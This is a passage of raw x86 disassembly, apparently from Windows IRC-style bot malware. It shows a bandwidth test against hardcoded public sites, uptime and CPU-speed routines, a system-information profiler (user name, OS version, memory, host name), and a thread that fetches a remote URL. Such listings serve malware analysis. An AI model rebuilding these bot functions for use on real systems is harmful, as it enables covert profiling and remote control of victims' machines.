		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4270B0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	dword_4270D0	; GetVersionExA
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_427080	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		call	dword_4270D0	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_42707C	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_427110	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_42710C	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_42719C	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4CBA08	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
